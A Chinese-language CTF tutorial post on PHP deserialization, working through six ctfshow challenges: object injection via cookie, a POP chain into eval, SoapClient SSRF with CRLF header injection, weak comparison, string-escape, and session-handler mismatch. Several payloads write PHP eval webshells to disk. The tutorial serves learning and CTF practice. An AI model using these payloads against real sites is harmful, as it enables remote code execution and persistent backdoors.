<返回更多

反序列化的那些事儿

2021-08-12    星云博创
加入收藏

0×00:前言

各种CTF比赛随处可见反序列化的影子,让我们来了解一下!

阅读本文,需要了解php中类的基础知识

0×01:正文

了解反序列化,必先了解其魔法函数

 1. __sleep() //在对象被序列化之前运行
 2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
 3. __construct() //当对象被创建时,会触发进行初始化
 4. __destruct() //对象被销毁时触发
 5. __toString()://当一个对象被当作字符串使用时触发
 6. __call() //在对象上下文中调用不可访问的方法时触发
 7. __callStatic() //在静态上下文中调用不可访问的方法时触发
 8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
 9. __set() //用于将数据写入不可访问的属性
 10. __isset() //在不可访问的属性上调用isset()或empty()触发
 11. __unset() //在不可访问的属性上使用unset()时触发
 12. __toString() //把类当作字符串使用时触发
 13. __invoke() //当脚本尝试将对象调用为函数时触发

然后了解其属性

序列化对象:
private变量会被序列化为:x00类名x00变量名
protected变量会被序列化为: x00*x00变量名
public变量会被序列化为:变量名

让我们跟随CTF题目,来感受反序列化独有的的"魅力"

01

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
  public $username='xxxxxx';
  public $password='xxxxxx';
  public $isVip=false;
  public function checkVip(){
    return $this->isVip;
 }
  public function login($u,$p){
return $this->username===$u&&$this->password===$p;
 }
  public function vipOneKeyGetFlag(){
    if($this->isVip){
      global $flag;
      echo "your flag is ".$flag;
   }else{
      echo "no vip, no flag";
   }
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);  
  if($user->login($username,$password)){
    if($user->checkVip()){
      $user->vipOneKeyGetFlag();
   }
 }else{
    echo "no vip,no flag";
 }
}

通读代码

$username&&$password存在进入反序列化 $_COOKIE['user']

(cookie为可控字段)

随后便调用了login方法

 public function login($u,$p){
         return $this->username===$u&&$this->password===$p;

只有类中$username和$password等于我们传入的值 ,即可返回true

进入第二个if 调用了checkVip方法

 public function checkVip(){
         return $this->isVip;
      }

这里定义类中isVip属性为true即可

便调用了其vipOneKeyGetFlag方法 echo除了flag

思路来了,构造payload

 <?
 class ctfShowUser{
        public $isVip=true;
        public $username='a';
        public $password='a';
 }
 $o=new ctfShowUser();
 echo serialize($o);
 ?>

?username=a&passowrd=a

cookie便传值我们构造出的payload

02

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __construct(){
    $this->class=new info();
 }
  public function login($u,$p){
    return $this->username===$u&&$this->password===$p;
 }
  public function __destruct(){
    $this->class->getInfo();
 }
}
class info{
  private $user='xxxxxx';
  public function getInfo(){
    return $this->user;
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

看到这么长的代码,我们可以简化一下

众所周知反序列化找的就是魔法函数

class ctfShowUser{
  private $username='xxxxxx';
  private $password='xxxxxx';
  private $isVip=false;
  private $class = 'info';
  public function __destruct(){
    $this->class->getInfo();
 }
}
class backDoor{
  private $code;
  public function getInfo(){
    eval($this->code);
 }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
  $user = unserialize($_COOKIE['user']);
  $user->login($username,$password);
}

思路

$username和$password存在进入反序列化

backDoor类里边有eval危险函数,我们要将其利用

看到__destruct函数,当类反序列化结束销毁时会将其调用

   public function __destruct(){
         $this->class->getInfo();
      }

看到里边正好有getInfo()函数

我们只需要将$this->class=new backDoor()就可以调用backDoor类中的getInfo()函数 进行eval利用

故构造payload

<?
class ctfShowUser{
  private $class;
  public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
  private $code;
  public function __construct(){
  $this->code='file_put_contents("./shell.php","<?php @eval($_POST[1]);?
>");echo "[++++++++++++++++++++YES+++++++++++++++++++++++]";';
 }
}
$o=new ctfShowUser();
echo urlencode(serialize($o));
?>

?username=xxx&password=xxx

cookie:user=传我们构造的payload即可写入一句话木马

03 原生类利用

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
////////////////////////////////////////////
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

访问flag.php需要

X_FORWARDED_FOR===127.0.0.1,127.0.0.1

由于用了CF代理不能构造X_FORWARDED_FOR

故只能用SoapClient原生类来进行SSRF请求

那什么叫SoapClient类呢?

SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于XML的协议,它使应用程序通过HTTP来交换信息)来触发__call方法,再利用一个CRLF注入进行post传输构造SSRF请求

那什么叫CRLF注入呢?

贴上大佬链接CRLF

故构造payload

 <?php
 $payload= array(
            'user_agent' => "Flowers_BeiChengrnx-forwarded-
 for:127.0.0.1,127.0.0.1rnContent-type:Application/x-www-form-
 urlencodedrnContent-length:13rnrntoken=ctfshow",
            'uri' => 'Flowers_BeiCheng',
            'location' => 'http://127.0.0.1/flag.php'
         )
 $a = new SoapClient(null,$payload);
 $o = serialize($a);
 echo urlencode($o);

04

class ctfshowvip{
  public $username;
  public $password;
  public $code;
public function __wakeup(){
  if($this->username!='' || $this->password!=''){
    die('error');
 }
}
public function __invoke(){
  eval($this->code);
}
public function __sleep(){
  $this->username='';
  $this->password='';
}
public function __unserialize($data){
  $this->username=$data['username'];
  $this->password=$data['password'];
  $this->code = $this->username.$this->password;
}
public function __destruct(){
  if($this->code==0x36d){
    file_put_contents($this->username, $this->password);
 }
}
}
unserialize($_GET['vip']);

__unserialize和__wake同时存在,则__unserialize生效 __wake失效

通读代码

直接利用__destruct中file_put_contents

但想要利用file_put_contents需要$this->code==0x36d(这里考察弱类型比较)

$this->code和0x36d会转换为数字进行比较 0x36d==877

故构造payload

<?php
class ctfshowvip{
  public $username;
  public $password;
  public function __construct(){
    $this->username='877.php';
    $this->password='<?php @eval($_POST[1]);?>';
 }
}
$o = new ctfshowvip();
echo urlencode(serialize($o));
?>

05 字符串逃逸

error_reporting(0);
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
  $msg = new message($f,$m,$t);
  $umsg = str_replace('fuck', 'loveU', serialize($msg));
  setcookie('msg',base64_encode($umsg));
  echo 'Your message has been sent';
}
highlight_file(__FILE__);

根据提示还有个message.php

highlight_file(__FILE__);
include('flag.php');
class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
 $this->to = $t;
 }
}
if(isset($_COOKIE['msg'])){
  $msg = unserialize(base64_decode($_COOKIE['msg']));
  if($msg->token=='admin'){
    echo $flag;
 }
}

触发点在message.php

我们要让$msg->token=='admin',

class message{
  public $from;
  public $msg;
  public $to;
  public $token='user';
  public function __construct($f,$m,$t){
    $this->from = $f;
    $this->msg = $m;
    $this->to = $t;
 }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

可以看到控制不了$token 可以控制$from $msg $to

传一个正常反序列化内容

O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我们需要构造这样的反序列化内容

 O:7:"message":4:
 {s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:1:"1";s:5:"token";s:5:"admin";}

这时候就要传入

 ";s:5:"token";s:5:"admin";} //27个字符

传入的内容需要逃逸出来

 if(isset($f) && isset($m) && isset($t)){
     $msg = new message($f,$m,$t);
     $umsg = str_replace('fuck', 'loveU', serialize($msg));
     setcookie('msg',base64_encode($umsg));
     echo 'Your message has been sent';
 }

fuck变成loveU 四个字符变成五个字符

每次变多一个,一共需要27个字符

构造payload

f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfu
 ckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

06 session反序列化

反序列化处理器

| 处理器           | 对应的存储格式                    
   |
| ------------------------- | :-------------------------------------------------
---------- |
| php            | 键名+竖线+经过serialize()函数反序列化处理的值     
   |
| php_binary         | 键名的长度对应的ASCII字符+键名+经过serialize()函数反序列
化处理的值 |
| php_serialize(php>=5.5.4) | 经过serialize()函数反序列化处理的数组         
   |
#### 安全问题
如果PHP在反序列化存储的$_SESSION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法
正确反序列化,通过特殊的构造,甚至可以伪造任意数据
session.auto_start=On
当配置选项session.auto_start=On,会自动注册Session会话,因为该过程是发生在脚本代码执行前,所
以在脚本中设定的包括序列化处理器在内的session相关配选项的设置是不起作用的,因此一些需要在脚本中
设置序列化处理器配置的程序会在session.auto_start=On时,销毁自动生成的Session会话,然后设置
需要的序列化处理器,在调用session_start()函数注册会话,这时如果脚本中设置的序列化处理器与
php.ini中设置的不同,就会出现安全问题

访问/www.zip下载源码

通读代码

index.php

反序列化的那些事儿

 

17行,$_SESSION['limit']首先是为空 通过后面的$_COOKIE['limit']便可以控制$_SESSION['limit']

如果无法控制,利用
PHP_SESSION_UPLOAD_PROGRESS来控制session内容

查看check.php

发现包含了inc/inc.php

反序列化的那些事儿

 

跟进inc/inc.php

反序列化的那些事儿

 

默认配置为php进行反序列化的

那php反序列化什么样的呢?

键名+竖线+经过serialize()函数反序列化处理的值

只有 | 后面的内容才会被反序列化

漏洞关键位置

反序列化的那些事儿

 

发现了User类里的__destruct()魔法函数可以进行file_put_contents函数进行getshell

思路

故构造payload

 class User{
     public $username;
     public $password;
     function __construct($username,$password){
         $this->username = $username;
         $this->password = $password;
 }
 }
 $o=new User('huahua.php','<?php @eval($_POST[1]);phpinfo();?>');
 echo base64_encode('|'.serialize($o));

访问index.php改cookie limit为payload 再次访问写入

访问check.php触发

最后访问log-huahua.php

成功写入

反序列化的那些事儿

 

0×02:总结

介绍了这么多,相信大家已经对反序列化有了初步的了解

要学会尝试构造POP链复现TP Yii等框架的链子哦

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>